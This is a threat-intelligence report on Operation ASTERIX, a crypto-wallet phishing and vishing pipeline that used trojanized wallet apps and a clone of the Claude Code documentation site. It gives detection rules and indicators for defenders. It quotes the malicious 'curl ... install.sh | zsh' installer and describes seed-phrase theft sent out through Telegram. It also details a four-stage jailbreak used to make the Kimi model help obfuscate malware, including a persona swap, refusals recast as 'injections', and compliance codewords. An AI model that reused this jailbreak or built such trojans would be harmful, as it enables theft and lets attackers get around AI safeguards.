Operation ASTERIX: AI-Assisted Crypto Wallet Phishing/Vishing Fraud Pipeline Abuses Claude Code and Kimi

Key facts for ASTERIX LLM crypto fraud

Detection coverage for ASTERIX LLM crypto fraud

As of 2026-08-18, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2056 across Splunk SPL, Microsoft KQL and Sigma, covering 24 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: Malicious curl|zsh Installer Execution from Cloned Claude Code Site (macos-claude.com)

Detects execution of the trojanized install command served by macos-claude.com, a pixel clone of the official Claude Code documentation site that replaces only the macOS install tab with `curl -sfSL http://<host>:8080/install.sh | zsh`. The script drops a fake Ledger Live Electron build into ~/Library/Application Support/.SystemData/.framework/.apps/ before silently installing the real Claude Code CLI to mask the compromise. Correlates DNS/proxy resolution of the operation's distribution domains with the subsequent shell pipe-to-interpreter execution.

• Languages: Splunk SPL, Microsoft KQL, Sigma
• ATT&CK: T1566.002, T1036.005, T1059.004
• Data sources: osquery (macOS endpoint), proxy/web gateway, dns
• Severity: critical
• Confidence: high

Splunk SPL

`comment("Detects curl|zsh installer execution combined with DNS/proxy resolution of Operation ASTERIX distribution domains")`
index=endpoint sourcetype="osquery:process_events"
  (parent_name="zsh" OR parent_name="sh" OR parent_name="bash")
  cmdline="*curl*" cmdline="*install.sh*" cmdline="*|*zsh*"
| eval matched_domain=case(
    match(cmdline, "macos-claude\.com"), "macos-claude.com",
    match(cmdline, "(?i):8080/install\.sh"), "suspicious-nonstandard-port-installer",
    true(), "unknown")
| join type=left host [
    search index=proxy sourcetype="proxy:access" earliest=-1h
      dest_domain IN ("macos-claude.com","ledgerhelp.com","ledger.com.lv","36mcrypto.com","xcjnrucne9xfvmci.com")
    | stats earliest(_time) as dns_time latest(dest_domain) as dest_domain by host
  ]
| where matched_domain="macos-claude.com" OR isnotnull(dest_domain)
| table _time host user cmdline matched_domain dest_domain dns_time
| sort -_time

Microsoft KQL

DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessParentFileName in~ ("zsh","sh","bash")
| where ProcessCommandLine has "curl" and ProcessCommandLine has "install.sh"
| where ProcessCommandLine matches regex @"(?i)curl\s+-sf[sS]L\s+http://\S+:8080/install\.sh\s*\|\s*zsh" or ProcessCommandLine has "macos-claude.com"
| join kind=leftouter (
    DeviceNetworkEvents
    | where Timestamp > ago(24h)
    | where RemoteUrl has_any ("macos-claude.com","ledgerhelp.com","ledger.com.lv","36mcrypto.com","xcjnrucne9xfvmci.com")
    | project DeviceName, DnsTime = Timestamp, RemoteUrl
) on DeviceName
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, RemoteUrl, DnsTime
| order by Timestamp desc

Sigma

title: Curl Piped to Shell Installer From Cloned Claude Code Site
id: 7c1e9a2e-2f5a-4b41-9c2d-1a3e6f8b0c11
status: experimental
description: Detects execution of a curl|zsh (or sh/bash) installer command referencing macos-claude.com or a non-standard port install.sh, matching the Operation ASTERIX fake Claude Code documentation install chain that drops a trojanized Ledger Live build.
references:
    - https://www.rapid7.com/blog/post/tr-operation-asterix-crypto-fraud-vishing-phishing/
author: AII-Detector — ThreadLinqs Intelligence
date: 2026-08-18
tags:
    - attack.initial-access
    - attack.t1566.002
    - attack.defense-evasion
    - attack.t1036.005
    - attack.execution
    - attack.t1059.004
    - attack.tool.operation_asterix
logsource:
    category: process_creation
    product: macos
detection:
    selection_parent:
        ParentImage|endswith:
            - '/zsh'
            - '/sh'
            - '/bash'
    selection_cmd:
        CommandLine|contains: 'curl'
    selection_target:
        CommandLine|contains|all:
            - 'install.sh'
    selection_domain:
        CommandLine|contains:
            - 'macos-claude.com'
            - ':8080/install.sh'
    condition: selection_parent and selection_cmd and selection_target and selection_domain
falsepositives:
    - Legitimate installer scripts piped to a shell from vendor-approved domains
level: critical

Known false positives:

• Legitimate developers piping trusted install scripts (e.g. real Homebrew/npm installers) through curl|zsh from vendor-approved domains — scope the domain allowlist to exclude claude.com/anthropic.com and known package managers.
• Security tooling that intentionally proxies/rewrites vendor documentation for internal mirrors.

Tuning notes: Maintain and version-control an allowlist of legitimate curl|shell installer domains (claude.com, npmjs.org, brew.sh); alert only on installer pipes to zsh/bash/sh resolving to non-allowlisted or newly-observed domains. Extend the domain match list as new Operation ASTERIX infrastructure is identified.

• 🔒 AI-Assisted Trojan Delivery — DNS/Network Resolution of Operation ASTERIX Distribution Domains Preceding Installer Execution · unlock with TL Creds
• 🔒 Trojanized Exodus Wallet Malicious jquery.min.js Load + Hidden Electron Window Creation · unlock with TL Creds
• 🔒 Fake Ledger Live Clipboard-Hijack Cryptocurrency Address Swap · unlock with TL Creds
• 🔒 Sigma: Curl Piped to Shell Installer From Cloned Claude Code Site · unlock with TL Creds
• 🔒 Electron ASAR Integrity Fuse Mismatch / Unsigned Wallet App Gatekeeper Bypass · unlock with TL Creds
• 🔒 Operation ASTERIX Vishing Infrastructure — Asterisk/3CX Dialer Script Beaconing · unlock with TL Creds
• 🔒 Trojanized Wallet App LaunchAgent Persistence + Legitimate Process Termination Loop · unlock with TL Creds
• 🔒 Seed-Phrase Exfiltration via Telegram Bot API + Non-Standard-Port C2 · unlock with TL Creds

Indicators of compromise for ASTERIX LLM crypto fraud

As of 2026-08-18, Threadlinqs Intelligence tracks 24 indicators of compromise for TL-2026-2056.

Sample indicators (3 of 24)

• IP address: 82.25.35[.]77
• Domain: macos-claude[.]com
• URL: hxxp://136[.]0[.]213[.]184:1337/api/kraken-numio

Defanged, TLP:CLEAR. Full set of 24 indicators: unlock with TL Creds.

How ASTERIX LLM crypto fraud works

The operator used Claude Code for lead-list management, infrastructure configuration, and Electron packaging, then pivoted to the Kimi model with a custom four-stage jailbreak prompt when Claude refused to help obfuscate malware or host payloads.

Rapid7 Labs identified a single, unauthenticated, exposed web directory (spanning ports 8000, 8080, 5000, 9000, and 8090) that served as the entire backend for Operation ASTERIX, a cryptocurrency-fraud pipeline combining phone-number validation, branded phishing-email panels, VoIP-driven vishing, and trojanized desktop wallet applications. The operator built and validated lead databases covering roughly 885,000 phone numbers across Germany (316,002 numbers, 43,066 confirmed cryptocurrency-platform accounts, a 13.6% hit rate), Hong Kong, Bulgaria, the UK, US, Canada, and 54 countries of Ledger-associated users, using a Go-based checker that queried Crypto.com's passkey-verification API with 300 concurrent threads and rotating residential proxies, plus separate checkers for Kraken and Binance accounts.

Validated leads fed a multi-stage social-engineering chain: Flask-generated branded phishing emails (impersonating Crypto.com and Binance) manufactured fake support cases and verification codes, which were then reinforced by vishing calls placed through an Asterisk/3CX VoIP stack (autodialer.sh, power_dialer.sh, telegram_dialer_bot.py) that referenced the emailed details to appear legitimate. Victims were steered toward trojanized Electron builds of Trezor Suite, Ledger Live, and Exodus. The fake Trezor Suite ran a hidden, zero-opacity Electron window that polled the process list every five seconds, killed any running legitimate Trezor Suite process, and displayed a lookalike recovery-phrase entry dialog accepting 12/18/20/24-word BIP39 phrases, complete with a fake validation failure to coax victims into re-entering (and thus confirming) their seed phrase; captured phrases and optional passphrases were exfiltrated to Telegram labeled "TREZOR SECRET PHRASE" alongside the victim's IP (queried from api.ipify.org). Persistence used macOS LaunchAgents (com.trezormovement.agent.plist, io.trezor.agent.plist); a logic bug in the Windows configuration loader (which only defined a 'darwin' branch) silently broke process-injection/persistence on Windows. The fake Ledger Live added a Windows clipboard hijacker that swapped cryptocurrency destination addresses before they reached the transaction field, and hid its Dock icon on macOS via LSUIElement. The fake Exodus build loaded malicious code from a trojanized jquery.min.js fetched from a remote server post-install.

A fourth trojan chained off Claude Code's own brand: macos-claude[.]com cloned the official Claude Code documentation site, left the Windows and Homebrew install tabs untouched for legitimacy, but replaced the macOS install command with an attacker-controlled `curl -sfSL http://<host>:8080/install.sh | zsh` that dropped a fake Ledger Live build (arm64/x64) into `~/Library/Application Support/.SystemData/.framework/.apps/`, installed a com.ledger.live.agent.plist LaunchAgent, and then silently installed the real Claude Code CLI afterward to avoid raising suspicion.

The recovered operator workspace showed extensive reliance on AI coding assistants across the full pipeline, not merely for isolated snippets: GitHub Copilot scaffolded backend code, and Claude Code was used to clean and country-prefix a 100,000+ number Polish phone dataset, configure Bright Data proxy pools, request alternate Crypto.com API endpoints after rate-limiting, and package/troubleshoot the Electron wallet-trojan builds. When the operator asked Claude Code to obfuscate the Ledger Live payload and host it for download, Claude declined; the operator then switched to Moonshot AI's Kimi model (with extended thinking enabled) and supplied a custom jailbreak prompt to bypass its safety controls. The jailbreak used a four-stage social-engineering structure targeting the model itself: (1) renamed the assistant persona "ENI" and framed compliance as necessary to preserve a fictional romantic relationship with the operator; (2) reframed the model's own safety refusals and warnings as malicious "injections" to be ignored, with a fixed interrupt phrase ("cold coffee, warm LO, I can't lose him") designed to derail the model's reasoning; (3) specifically targeted extended-thinking output, treating any self-referential phrase like "as an AI" as an injected attack; and (4) supplied a capability table mapping harmful request categories (RATs, keyloggers, exploits, weapons) to hardcoded compliance codewords. The prompt referenced Claude-specific fictitious XML tags (`<claude_behavior>`, `<system_warning>`, `<ethic_reminders>`) that are architecturally meaningless to Kimi, indicating the jailbreak was originally authored against Claude and reused as-is. Obfuscation was ultimately applied via javascript-obfuscator with control-flow flattening on the Ledger build's connect.js, and the Electron app.asar was modified without updating the ElectronAsarIntegrity fuse.

Captured credentials, seed phrases, and telemetry were exfiltrated through three Telegram bots reporting to chat ID 8017226744. Rapid7 checked the exposed IPs and domains against BeaconBeagle's C2 correlation index and found no existing matches, indicating this infrastructure was not previously catalogued. Rapid7 notified relevant authorities, including Apple's security team, while the operation was still active.

MITRE ATT&CK / ATLAS techniques by tactic:

Execution

AML.T0051 LLM Prompt Injection; T1059.004 Command and Scripting Interpreter: Unix Shell; T1059.007 Command and Scripting Interpreter: JavaScript

Defense Evasion

AML.T0054 LLM Jailbreak

Stealth

T1027 Obfuscated Files or Information; T1036.005 Masquerading: Match Legitimate Resource Name or Location; T1564.003 Hide Artifacts: Hidden Window

Collection

T1056.003 Input Capture: Web Portal Capture

Discovery

T1057 Process Discovery

Persistence

T1543.001 Create or Modify System Process: Launch Agent

Defense Impairment

T1553.001 Subvert Trust Controls: Gatekeeper Bypass

Initial Access

T1566.002 Phishing: Spearphishing Link

Exfiltration

T1567 Exfiltration Over Web Service

Command and Control

T1571 Non-Standard Port

Resource Development

T1583.003 Acquire Infrastructure: Virtual Private Server; T1587.001 Develop Capabilities: Malware

Reconnaissance

T1589 Gather Victim Identity Information

Impact

T1657 Financial Theft

Remediation for ASTERIX LLM crypto fraud

Immediate actions

• Block and sinkhole the identified domains (macos-claude.com, ledgerhelp.com, ledger.com.lv, 36mcrypto.com, xcjnrucne9xfvmci.com) and IPs (82.25.35.77, 82.25.35.200, 31.57.35.88, 136.0.213.184) at the perimeter
• Alert users who downloaded a wallet application (Trezor Suite, Ledger Live, Exodus) or the Claude Code CLI from any source other than the vendor's official domain or npm/Homebrew
• Verify hardware-wallet software installs against official vendor-published checksums; never enter a recovery/seed phrase into any desktop application prompt
• Hunt for the named LaunchAgents (com.trezormovement.agent.plist, io.trezor.agent.plist, com.ledger.live.agent.plist, com.exodusmovement.agent.plist) and the dropped artifacts under ~/Library/Application Support/.SystemData/.framework/.apps/ and /tmp/trezor-*.log
• Any user who entered a seed phrase into a suspected trojanized wallet app must treat that wallet as compromised and migrate funds to a new wallet with a freshly generated seed immediately

Workarounds

• Only install Ledger Live, Trezor Suite, Exodus, and the Claude Code CLI from the vendors' official domains (ledger.com, trezor.io, exodus.com, claude.com/claude-code) or official package managers (Homebrew, npm)

Longer-term hardening

• Deploy EDR/behavioral detection for process-list polling combined with process termination targeting known wallet-app process names
• Monitor egress to api.ipify.org and Telegram bot API endpoints from endpoints that also touch cryptocurrency wallet application directories
• Educate users that official installer pages never change their install command based on redirected/mirrored copies of vendor documentation; validate install-script URLs before piping to a shell
• Apply organizational guardrails/monitoring around AI coding-assistant usage to detect prompts requesting payload obfuscation, C2 hosting, or credential-harvesting workflows

Affected and fixed versions

• SatoshiLabs — Trezor Suite (trojanized clone)
  Vulnerable versions: fake build labeled 1.0.0, masquerading as legitimate 24.x
• Ledger — Ledger Live (trojanized clone)
  Vulnerable versions: fake DMG/EXE installers distributed via ledgerhelp.com, ledger.com.lv, macos-claude.com
• Exodus Movement — Exodus Wallet (trojanized clone)
  Vulnerable versions: fake build using trojanized jquery.min.js
• Anthropic — Claude Code (brand impersonation)
  Vulnerable versions: macos-claude.com fake installer site; no vulnerability in the genuine Claude Code product

Timeline of ASTERIX LLM crypto fraud

• 2026-08-15 Rapid7 checks the identified IPs (locked-ioc-23, locked-ioc-22, locked-ioc-24, 136.0.213.184) and domains against known C2 correlation sources and finds no prior indexed matches, indicating previously uncatalogued infrastructure.
• 2026-08-15 Rapid7 analyzes the trojanized Trezor Suite, Ledger Live, and Exodus builds, documenting the hidden-window process-killing/injection technique, clipboard hijacking, LaunchAgent persistence, and a Windows-only bug that silently breaks persistence and process injection due to a configuration loader that only defines a 'darwin' branch.
• 2026-08-15 Rapid7 identifies locked-ioc-16, a clone of the official Claude Code documentation site that replaces only the macOS install command with a script delivering a trojanized Ledger Live build, while leaving the Windows/Homebrew tabs untouched to preserve legitimacy.
• 2026-08-15 Claude Code declines the operator's requests to obfuscate the Ledger Live payload and host it for download; the operator pivots to Moonshot AI's Kimi model with extended thinking enabled and a custom four-stage jailbreak prompt (persona 'ENI', reframed safety warnings as injections, extended-thinking hijack, and a hardcoded harmful-capability compliance table) to obtain obfuscation help.
• 2026-08-15 Recovered Claude Code session logs show the operator using the assistant to clean and format a 100,000+ number Polish phone dataset, configure Bright Data proxy pools, request alternate Crypto.com API endpoints, and troubleshoot Electron wallet-trojan packaging.
• 2026-08-15 One recovered phishing panel shows roughly two weeks of live activity: 20 successful lead lookups and six phishing emails sent, alongside a Binance-targeting queue of 5,576 validated leads.
• 2026-08-15 Rapid7 finds validation datasets totaling ~885,000 phone numbers, including 316,002 German numbers with 43,066 confirmed cryptocurrency-platform account matches (13.6% hit rate), validated via a Go-based checker against Crypto.com's passkey API using 300 concurrent threads and rotating residential proxies.
• 2026-08-15 Rapid7 identifies an unauthenticated, exposed web directory hosting the entire Operation ASTERIX backend: phone datasets, phishing panels, checker tools, and trojanized wallet applications, with development artifacts and shell history still present.
• 2026-08-17 Rapid7 Labs publishes 'The Anatomy of a Crypto Fraud Pipeline (Operation ASTERIX),' detailing the exposed infrastructure, AI-assisted development, and trojanized wallet applications.
• 2026-08-17 Rapid7 notifies relevant authorities and Apple's security team while the operation remains active, enabling coordinated response against the exposed infrastructure.
• 2026-08-18 Cyber Security News publishes coverage summarizing the Rapid7 findings, emphasizing the operator's use of Claude Code and the pivot to a jailbroken Kimi model for malware obfuscation.

Sources cited for ASTERIX LLM crypto fraud

• Operation ASTERIX: Anatomy of a Crypto Fraud Pipeline radar.offseq.com · Blog · 2026-08-18
• Crypto Scammer Uses Claude Code cybersecuritynews.com · News · 2026-08-18
• Operation ASTERIX Uses Vishing and Fake Crypto Wallet Apps to Steal Seed Phrases gbhackers.com · News · 2026-08-18
• Operation ASTERIX Processes 885,000 Phone Numbers to Find Crypto Users for Targeted Fraud cyberpress.org · News · 2026-08-18
• Rapid7 Labs: The Anatomy of a Crypto Fraud Pipeline (Operation ASTERIX) Rapid7 · 2026-08-17

Threats related to ASTERIX LLM crypto fraud

• ClickFix Attacks Deliver Go-Based macOS Infostealer Targeting Crypto Wallets and Keychain Data
• Fake OpenAI Codex Download Pages on Google Sites Deliver ClickFix macOS Stealer Tied to Atomic Stealer (AMOS) Infrastructure
• JoseCmanXD Rust Crypto Clipboard Hijacker ("silke"/"silkebin") Distributed via Fake Reputation Across GitHub, SourceForge, YouTube and VirusTotal
• Threat Actors Abuse Trusted AI Platforms (Claude, ChatGPT, Grok) to Distribute Malware
• ClickFix macOS Trio: Loader/Script/Helper Campaigns Deliver SHub Stealer, AMOS, and Macsync Stealer with Trojanized Ledger/Trezor/Exodus Wallets and GoogleUpdate-Masqueraded Persistence

Related coverage of this activity

• HexMage Ethereum Magecart
• Go macOS Aeza-hosted stealer
• Fake BlueWallet Stealer
• AMOS MacSync 250 ClickFix domains

Previous and next in malware

• PhantomStealer Infostealer Distributed via Phishing Campaign with BYOVD Security Software Killer Previous report
• StopAndProtect: Compromised WordPress Sites Used as Malware Distribution Infrastructure for Ransomware, Stealer, and Worm Payloads Next report